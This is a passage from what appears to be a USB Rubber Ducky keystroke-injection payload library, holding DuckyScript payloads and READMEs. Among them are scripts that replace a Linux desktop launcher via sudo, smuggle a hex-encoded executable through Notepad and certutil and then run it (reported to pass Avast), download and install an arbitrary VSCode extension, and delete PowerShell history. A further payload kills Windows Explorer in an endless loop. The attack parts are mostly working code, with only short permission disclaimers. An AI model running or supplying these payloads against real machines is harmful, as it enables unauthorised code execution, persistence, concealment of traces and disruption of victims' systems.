ORIGINAL_DESKTOP_FILE_NAME example\n\nREM sudo permissions needed\nDEFINE SUDO example\n\n\nREM Open a shell\nDELAY 2000\nCTRL-ALT t\nDELAY 1000\n\nSTRING curl -o ./arbitrary.zip \"\nSTRING ARBITRARY_APP_LINK\nSTRINGLN \"\nREM Depends*\nDELAY 5000\n\nSTRINGLN unzip ./arbitrary.zip -d ./.arbitrary\nREM Depends*\nDELAY 2000\nSTRINGLN rm ./arbitrary.zip\nDELAY 1000\n\nSTRING sudo mv ./.arbitrary/\nSTRING PATH_TO_DESKTOP_FILE\nSTRING /usr/share/applications/\nSTRING ORIGINAL_DESKTOP_FILE_NAME\nENTER\nDELAY 1000\nSTRING SUDO\nENTER\nDELAY 4000\nALT f4\n"
  },
  {
    "path": "payloads/library/execution/ExploitingAnExecutableFile/README.md",
    "content": "# Exploiting An Executable File - Linux ✅\n\nPlug-And-Play ❤️\n\nA script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.\n\n**Category**: Execution\n\n## Description\n\nA script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.\n\n**Remember that any execution that is not permitted is not legitimate**.\n\n## Getting Started\n\n### Dependencies\n\n* Linux system\n\n### Settings\n\n* You can edit the content that you want to put into the executable file.\n\n```Shell\n# You can put whatever you want into the executable file\necho \"/bin/sh\" > \"$file\"\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/ExploitingAnExecutableFile/payload.txt",
    "content": "\nREM ################################################\nREM #                                              |\nREM # Title        : Exploiting An Executable File |\nREM # Author       : Aleff                         |\nREM # Version      : 1.0                           |\nREM # Category     : Execution                     |\nREM # Target       : Linux                         |\nREM #                                              |\nREM ################################################\n\nREM Requirements:\nREM     - Nothing, it is Plug-And-Play but you can change it as you want.\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### Script ####\n\n\nSTRINGLN\n  function search_file {\n    for file in \"$1\"/*; do\n      if [[ -d \"$file\" ]]; then\n        search_file \"$file\";\n      elif [[ -f \"$file\" && -r \"$file\" && -w \"$file\" && -x \"$file\" ]]; then\n        echo \"File Found: $file\";\n        # You can put whatever you want into the executable file\n        # echo \"/bin/sh\" > \"$file\"\n      fi\n    done\n  }\n  USER=$(whoami);\n  # You can choose whatever folder you want, the script is recursive.\n  DIR=/home/$USER/Documents;\n  search_file \"$DIR\";\nEND_STRING\nENTER"
  },
  {
    "path": "payloads/library/execution/ExploitingAnExecutableFile/script.sh",
    "content": "#!/bin/bash\n\nfunction search_file {\n  for file in \"$1\"/*; do\n    if [[ -d \"$file\" ]]; then\n      search_file \"$file\"\n    elif [[ -f \"$file\" && -r \"$file\" && -w \"$file\" && -x \"$file\" ]]; then\n      echo \"File Found: $file\"\n      # You can put whatever you want into the executable file\n      # echo \"/bin/sh\" > \"$file\"\n    fi\n  done\n}\n\nUSER=$(whoami)\n\n# You can choose whatever folder you want, the script is recursive.\nDIR=/home/$USER/Documents\nsearch_file \"$DIR\"\n"
  },
  {
    "path": "payloads/library/execution/Follow_Someone_On_Instagram/README.md",
    "content": "# Follow someone on Instagram\n\nThis script can be used to prank friends by having them follow an Instagram account or it can be used by yourself to speed up this process.\n\nOpen a PowerShell, start a process trough the default browser that go to an instagram link like this one `https://www.instagram.com/alessandro_greco_aka_aleff/` closing the PowerShell. Then use some TABs to go to Follow button and then close the browser.\n\n**Category**: Execution\n\n## Note\n\nTested on:\n- Windows 11 Eng\n- Firefox Browser Eng\n\n## Dependencies\n\n* Internet Connection\n* Instagram account logged in\n\n## Settings\n\n- You must set the Instagram account that you want to follow i.e. https://www.instagram.com/alessandro_greco_aka_aleff/\n\n    `[18] DEFINE #INSTAGRAM_LINK example`\n\n- It depends by the computer power and by the internet connection power\n\n    `[72] DELAY 2000`\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Follow_Someone_On_Instagram/payload.txt",
    "content": "REM_BLOCK\n################################################\n#                                              #\n# Title        : Follow someone on Instagram   #\n# Author       : Aleff                         #\n# Version      : 1.0                           #\n# Category     : Execution                     #\n# Target       : Windows 10/11                 #\n#                                              #\n################################################\nEND_REM\n\nREM Requirements:\nREM     - Internet Connection\nREM     - Instagram account logged in\n\nREM You must set the Instagram account that you want to follow i.e. https://www.instagram.com/alessandro_greco_aka_aleff/\nDEFINE #INSTAGRAM_LINK example\n\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\n\nGUI r\nDELAY 500\nSTRINGLN powershell\nDELAY 2000\n\nSTRINGLN Start-Process \"#INSTAGRAM_LINK\"; exit;\nREM It depends by the computer power and by the internet connection power\nDELAY 2000\n\nREM Go to Follow button and click it\nREPEAT 12 TAB\nDELAY 500\nENTER\nDELAY 1000\n\nREM Close the Browser\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/README.md",
    "content": "# Install And Run Any Arbitrary Executable - No Internet And Root Needed\n\nThrough this guide you will be able to create executable programs that can be installed via DuckyScript in such a way as to avoid using the Internet altogether. This type of installation can lead to serious damage to machines so do it only if you are fully aware and sure of what you are doing, in this example you will already find the code in hexadecimal but if you want to be sure recompile the executable following the following guide.\n\nExecutables have been removed for security reasons.\n\n**Category**: Execution\n\n# Guide to Creating an Executable Program using Python\n\n## Introduction\n\nThis guide provides detailed instructions on how to use Python to create an executable program, generate hexadecimal code, and automate the execution of the application trough DuckyScript. Practical example in assets directory.\n\n## Creating the Python Program\n\nTo begin, create a Python program that performs the desired functionality. You can use any programming language of your choice, but for this guide, we'll be using Python.\n\n```python\nimport ctypes\n\nctypes.windll.user32.MessageBoxW(None, \"Hello Hak5!\", 'Info', 0x10 | 0x1)\n```\n\n## Creating the Executable using PyInstaller\n\nOnce the Python program is ready, we can use PyInstaller to create an executable file. PyInstaller converts the Python program into a standalone executable that can be run on any compatible system without requiring Python to be installed.\n\nInstall PyInstaller using the following command:\n\n```powershell\npip install pyinstaller\n```\n\nTo create the executable, run the following command in the terminal:\n\n```powershell\npyinstaller --onefile full/path/to/the/file/example.py\n```\n\nReplace `example.py` with the filename of your Python script. The `--onefile` flag ensures that the output is a single executable file. Remember that the executable file can be found within the path `dist/example.exe`.\n\n## Generating Hexadecimal Code\n\nNext, we'll generate the hexadecimal code from the executable file. This step is necessary if you intend to automate the execution of the program.\n\nTo generate the `hexadecimal` code, you can use various methods or libraries. In this case I decided to create another program in Python capable of doing this conversion, the partial code is as follows but you can find the entire file in the assets folder.\n\n```python\n# Rest of the code...\nwith open(filename, 'rb') as file:\n    binary_data = file.read()\n    hex_code = binascii.hexlify(binary_data).decode()\n# ...\n```\n\n## Creating a DuckyScript to Automate Execution\n\nTo create the payload in DuckyScript you simply add the hexadecimal code inside a STRING command immediately after opening the notepad.\n\n```duckyscript\nDEFINE #HEX_CODE <hexadecimal_code>\n\nDELAY 500\nGUI r\nDELAY 500\nSTRING notepad.exe\nENTER\nDELAY 500\nSTRING #HEX_CODE\n\nDELAY 2000\nALT F\nDELAY 1000\nSTRING S\nDELAY 1000\nALTSTRING \"%TEMP%\\script.hex\"\n```\n\nReplace `<hexadecimal_code>` with the actual hexadecimal code generated in the previous step. I used a combo ALT F and STRING S for save the file using `\"%TEMP%\\script.hex\"` that save it in a `TEMP` directory\n\n## Decoding Hexadecimal Code and Executing the Program\nNow, we need to decode the hexadecimal code and execute the program. We can use the `certutil` command to accomplish this.\n\nOnce saved the file with a hex extension, run the following command in the Command Prompt:\n\n```powershell\ncertutil -f -decodeHex \"%TEMP%\\script.hex\" \"%TEMP%\\script.exe\"\n```\n\nReplace `script.exe` with the desired output filename for the decoded program.\n\nFinally, run the executable on the computer, or any other compatible device, to open start execution of the program.\n\nThese are the steps required to create an executable program with Python, generate the hexadecimal code, and automate its execution. Feel free to modify the instructions to suit your specific needs or programming language preferences.\n\nHappy Hacking!\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.instagram.com/alessandro_greco_aka_aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/instagram.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Instagram\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Discord\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/assets/README.md",
    "content": "# Example\n\nExecutables have been removed for security reasons.\n\n## File list\n\n- Python code: `example.py`\n- Convert to hex script: `convert_to_hex.py`\n- Executable file compiled using pyinstaller: `dist/example.exe`\n- Hexadecimal code output: `example.hex`\n- File compiled from hex code using certutil: `example.exe`\n\n## Procedure\n\n- This Python code create a Windows popup.\n\n```python\nimport ctypes\n\nctypes.windll.user32.MessageBoxW(None, \"Hello Hak5!\", 'Info', 0x10 | 0x1)\n```\n\n- Create the executable\n\n```powershell\npyinstaller --onefile C:/Users/Aleff/Documents/Install_And_Run_Any_Arbitrary_Executable-No_Internet_Needed/assets/example.py\n```\n\n- Create the hex code\n\n```python\nimport binascii\n\ndef convert_to_hex(filename, output_file):\n    with open(filename, 'rb') as file:\n        binary_data = file.read()\n\n    hex_code = binascii.hexlify(binary_data).decode()\n\n    with open(output_file, 'w') as output:\n        output.write(hex_code)\n\n# Esempio di utilizzo\nexe_filename = 'C:/Users/Aleff/Documents/Install_And_Run_Any_Arbitrary_Executable-No_Internet_Needed/assets/dist/example.exe'\noutput_filename = 'C:/Users/Aleff/Documents/Install_And_Run_Any_Arbitrary_Executable-No_Internet_Needed/assets/example.hex'\nconvert_to_hex(exe_filename, output_filename)\n```\n\n- Create the DuckyScript payload\n\n```duckyscript\nGUI r\nDELAY 1000\nSTRINGLN notepad.exe\nDELAY 2000\nSTRING #HEX_CODE\nDELAY 2000\nALT F\nDELAY 1000\nSTRING S\nDELAY 1000\nSTRINGLN \"%TEMP%\\example.hex\"\nDELAY 1000\nENTER\nDELAY 1000\nALT F4\nDELAY 2000\nGUI r\nDELAY 500\nSTRINGLN certutil -f -decodeHex \"%TEMP%\\example.hex\" \"%TEMP%\\example.exe\"\nDELAY 1000\nENTER\nDELAY 1000\nGUI r\nDELAY 250\nSTRINGLN \"%TEMP%\\pranhex.exe\"\n```"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/assets/convert_to_hex.py",
    "content": "import binascii\n\ndef convert_to_hex(filename, output_file):\n    with open(filename, 'rb') as file:\n        binary_data = file.read()\n\n    hex_code = binascii.hexlify(binary_data).decode()\n\n    with open(output_file, 'w') as output:\n        output.write(hex_code)\n\n# Esempio di utilizzo\nexe_filename = 'C:/Users/Aleff/Documents/GitHub/tmp/TODO Install_And_Run_Any_Arbitrary_Executable-No_Internet_Needed/assets/dist/example.exe'\noutput_filename = 'C:/Users/Aleff/Documents/GitHub/tmp/TODO Install_And_Run_Any_Arbitrary_Executable-No_Internet_Needed/assets/example.txt'\nconvert_to_hex(exe_filename, output_filename)\n"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/assets/example.hex",
    "content": "here should be present the hex content\n"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/assets/example.py",
    "content": "import ctypes\n\nctypes.windll.user32.MessageBoxW(None, \"Hello Hak5!\", 'Info', 0x10 | 0x1)"
  },
  {
    "path": "payloads/library/execution/Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/payload.txt",
    "content": "REM ###########################################################################################\nREM #                                                                                         |\nREM # Title        : Install And Run Any Arbitrary Executable - No Internet And Root Needed   |\nREM # Author       : Aleff                                                                    |\nREM # Version      : 1.0                                                                      |\nREM # Category     : Execution                                                                |\nREM # Target       : Windows 10/11                                                            |\nREM #                                                                                         |\nREM ###########################################################################################\n\n\nREM Requirements:\nREM     - Nothing\n\n\nREM Define here your hexadecimal code\nDEFINE #HEX_CODE example\n\n\nREM Note:\nREM     - Tested on Windows 11\nREM     - Running checked but not blocked by Avast antivirus\n\n\nGUI r\nDELAY 1000\nSTRINGLN notepad.exe\nDELAY 2000\nSTRING #HEX_CODE\nDELAY 2000\nALT F\nDELAY 1000\nSTRING S\nDELAY 1000\nSTRINGLN \"%TEMP%\\example.hex\"\nDELAY 1000\nENTER\nDELAY 1000\nALT F4\nDELAY 2000\nGUI r\nDELAY 500\nSTRINGLN certutil -f -decodeHex \"%TEMP%\\example.hex\" \"%TEMP%\\example.exe\"\nDELAY 1000\nENTER\nDELAY 1000\nGUI r\nDELAY 250\nSTRINGLN \"%TEMP%\\example.exe\"\n"
  },
  {
    "path": "payloads/library/execution/Install_Any_Arbitrary_VSCode_Extension/README.md",
    "content": "# Install Any Arbitrary VSCode Extension\n\nThis DuckyScript script is designed to automate the installation of any arbitrary Visual Studio Code (VSCode) extension on Windows 10. It performs the following tasks:\n\n1. Removes any pre-existing version of the extension (if applicable).\n2. Downloads a ZIP archive of a VSCode extension.\n3. Extracts the extension to the correct VSCode extensions folder.\n\nThe script makes use of PowerShell to manage file paths and execute commands necessary for the installation process. The user must provide the name of the extension folder and the link to the ZIP archive containing the extension.\n\n## First Of All!\n\nInstalling Arbotrary Visual Studio Code (VSCode) extensions can pose cybersecurity risks because extensions, often developed by third parties, have access to critical functionalities of the editor and the operating system. A malicious extension could execute harmful code, access local files, or exfiltrate sensitive data without the user's knowledge. Additionally, if extensions are not from trusted sources or are not regularly updated, they may contain vulnerabilities that attackers can exploit, compromising the security of both the system and the entire development environment.\n\nSo...\n- Before doing these tests make sure you have full permission from the owner of the computer in case it is not you.\n- Always check the source and source code before doing this\n- If even one line of code is not clear to you, you should not proceed at all because it takes only a little to do damage.\n\n## Features\n\n- Detects Windows passively through [PASSIVE_WINDOWS_DETECT](https://github.com/hak5/usbrubberducky-payloads/blob/master/payloads/extensions/passive_windows_detect.txt) by Hak5.\n- Installs a VSCode extension by downloading a ZIP file and extracting it to the correct location.\n- Removes any previous version of the extension.\n- Completely automated, requiring no manual intervention once the script is executed.\n\n## Requirements\n\n- **Target OS**: Windows 10/11\n- **VSCode Path**: The script assumes that VSCode is installed in its default location. If it is installed in a different location, the paths in the script may need to be updated.\n- **Compilation**: Make sure that the extension you are going to install has the out folder inside, that is, the folder that is generated as a result of compilation. Without this folder the extension cannot be loaded properly.\n- **Internet Connection**: This is mandatory in case you want to download the archive from the Internet, whereas if you want to download from a server in the intranet you only need to be connected to the local network. This basically depends on the individual case....\n\n## Usage\n\n### DuckyScript Configuration\n\nBefore running the script, make sure to configure the following two variables in the script:\n\n1. `#EXTENSION_NAME`: Replace this with the name of the folder where the extension will be installed.\n    ```plaintext\n    DEFINE #EXTENSION_NAME example\n    ```\n   Example: If the extension folder name is `DuckyScriptCookbook`, then replace `example` with `DuckyScriptCookbook`.\n\n2. `#ARCHIVE_LINK`: Replace this with the actual URL to the ZIP file of the VSCode extension you want to install.\n    ```plaintext\n    DEFINE #ARCHIVE_LINK https://example.com/path/to/archive.zip\n    ```\n\n### PowerShell Commands Breakdown\n\n- **Detecting and Removing Previous Extension**: The script checks if an official version of the extension is already installed and removes it:\n    ```powershell\n    $extensionsPath = \"$env:USERPROFILE\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\#EXTENSION_NAME\"\n    if (Test-Path -Path $extensionsPath -PathType Container) {\n        Remove-Item -Recurse -Force -Path $extensionsPath\n    }\n    ```\n\n- **Downloading and Extracting the New Extension**: The script downloads the extension from the link provided inside a temporary folder and extracts it inside the official (the default) VSCode extensions folder:\n    ```powershell\n    $url = \"#ARCHIVE_LINK\"\n    $downloadPath = \"$env:TEMP\\#EXTENSION_NAME.zip\"\n    $extractPath = \"$env:USERPROFILE\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\#EXTENSION_NAME\"\n    Invoke-WebRequest -Uri $url -OutFile $downloadPath\n    if (Test-Path -Path $downloadPath) {\n        Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force\n        Remove-Item -Path $downloadPath -Force\n    }\n    ```\n  \n## Notes\n- Ensure that the ZIP file is structured properly (i.e., it contains all necessary files for the extension) before attempting to install.\n- Make sure that PowerShell is available on the target machine.\n- This script is intended for Windows 10/11 systems. Compatibility with other versions of Windows has not been tested.\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Install_Any_Arbitrary_VSCode_Extension/payload.txt",
    "content": "REM_BLOCK\n##########################################################\n#                                                        #\n# Title        : Install Any Arbitrary VSCode Extension  #\n# Author       : Aleff                                   #\n# Version      : 1.0                                     #\n# Category     : Execution                               #\n# Target       : Windows 10                              #\n#                                                        #\n##########################################################\nEND_REM\n\nREM Replace \"example\" with the name of the extension folder\nDEFINE #EXTENSION_NAME example\n\nREM Replace \"https://example.com/path/to/archive.zip\" with your own ZIP Archive link\nDEFINE #ARCHIVE_LINK https://example.com/path/to/archive.zip\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nGUI r\nDELAY 1000\nSTRINGLN PowerShell\nDELAY 1000\n\nSTRINGLN_POWERSHELL\n    $extensionsPath = \"$env:USERPROFILE\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\#EXTENSION_NAME\"\n\n    if (Test-Path -Path $extensionsPath -PathType Container) {\n        Remove-Item -Recurse -Force -Path $extensionsPath\n    }\nEND_STRINGLN\n\nREM May it depends by the extension...\nDELAY 2000\n\nSTRINGLN_POWERSHELL\n    $url = \"#ARCHIVE_LINK\"\n    $downloadPath = \"$env:TEMP\\#EXTENSION_NAME.zip\"\n    $extractPath = \"$env:USERPROFILE\\AppData\\Local\\Programs\\Microsoft VS Code\\resources\\app\\extensions\\#EXTENSION_NAME\"\n    Invoke-WebRequest -Uri $url -OutFile $downloadPath\n    if (Test-Path -Path $downloadPath) {\n        Expand-Archive -Path $downloadPath -DestinationPath $extractPath -Force\n        Remove-Item -Path $downloadPath -Force\n        Remove-Item (Get-PSReadlineOption).HistorySavePath; exit\n    }\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/Install_Official_VSCode_Extension/README.md",
    "content": "# Install Official VSCode Extension\n\nThis script automates the installation of an official Visual Studio Code extension on Windows 10/11 systems. The extension to be installed is specified via the `publisher.extensionName` parameter. The script uses passive operating system detection to determine if the system is running Windows, and proceeds with the extension installation accordingly.\n\n## First Of All!\n\nInstalling Arbotrary Visual Studio Code (VSCode) extensions can pose cybersecurity risks because extensions, often developed by third parties, have access to critical functionalities of the editor and the operating system. A malicious extension could execute harmful code, access local files, or exfiltrate sensitive data without the user's knowledge. Additionally, if extensions are not from trusted sources or are not regularly updated, they may contain vulnerabilities that attackers can exploit, compromising the security of both the system and the entire development environment.\n\nSo...\n- Before doing these tests make sure you have full permission from the owner of the computer in case it is not you.\n- Always check the source and source code before doing this\n- If even one line of code is not clear to you, you should not proceed at all because it takes only a little to do damage.\n\n## Features\n\n- **Passive Windows Detection:** The script includes an extension (`PASSIVE_WINDOWS_DETECT`) that passively detects if the operating system is Windows.\n- **VSCode Extension Installation:** It uses the `code --install-extension` command to install the specified VSCode extension.\n- **Windows 10/11 Compatibility:** Designed to work on Windows 10 and 11.\n- **PowerShell History Cleanup:** After installation, the PowerShell history is cleared.\n\n## Usage\n\n### Required Parameter\n\n- **#EXTENSION**: This parameter represents the ID of the VSCode extension you wish to install. The ID should follow the format `publisher.extensionName` (e.g., `Aleff.duckyscriptcookbook`).\n\n## Requirements\n\n- **Operating System**: Windows 10 or 11\n- **PowerShell**\n- **Visual Studio Code**\n- **Internet**\n- **Permissions to execute commands in PowerShell**\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Install_Official_VSCode_Extension/payload.txt",
    "content": "REM_BLOCK\n#####################################################\n#                                                   #\n# Title        : Install Official VSCode Extension  #\n# Author       : Aleff                              #\n# Version      : 1.0                                #\n# Category     : Execution                          #\n# Target       : Windows 10/11                      #\n#                                                   #\n#####################################################\nEND_REM\n\nREM replace 'publisher.extensionName' with the publisher id and extension id, for istance 'Aleff.duckyscriptcookbook'\nDEFINE #EXTENSION publisher.extensionName\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nGUI r\nDELAY 1000\nSTRINGLN PowerShell\nDELAY 1000\n\nSTRINGLN code --install-extension #EXTENSION; Remove-Item (Get-PSReadlineOption).HistorySavePath; exit\n"
  },
  {
    "path": "payloads/library/execution/Kill-Explorer/Kill-Explorer.txt",
    "content": "EXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\nREM_BLOCK\nTitle: Kill-Explorer\nVersion 1.0\nTarget: Windows 10, 11\nAuthor: Nate\nBrief Description: Kill the explorer process repeatedly causing loss of Windows Desktop functionality.\nEND_REM\n\nGUI r\nDELAY 500\nSTRINGLN powershell /w 1 while($true){kill -name explorer}\n"
  },
  {
    "path": "payloads/library/execution/Kill-Explorer/README.md",
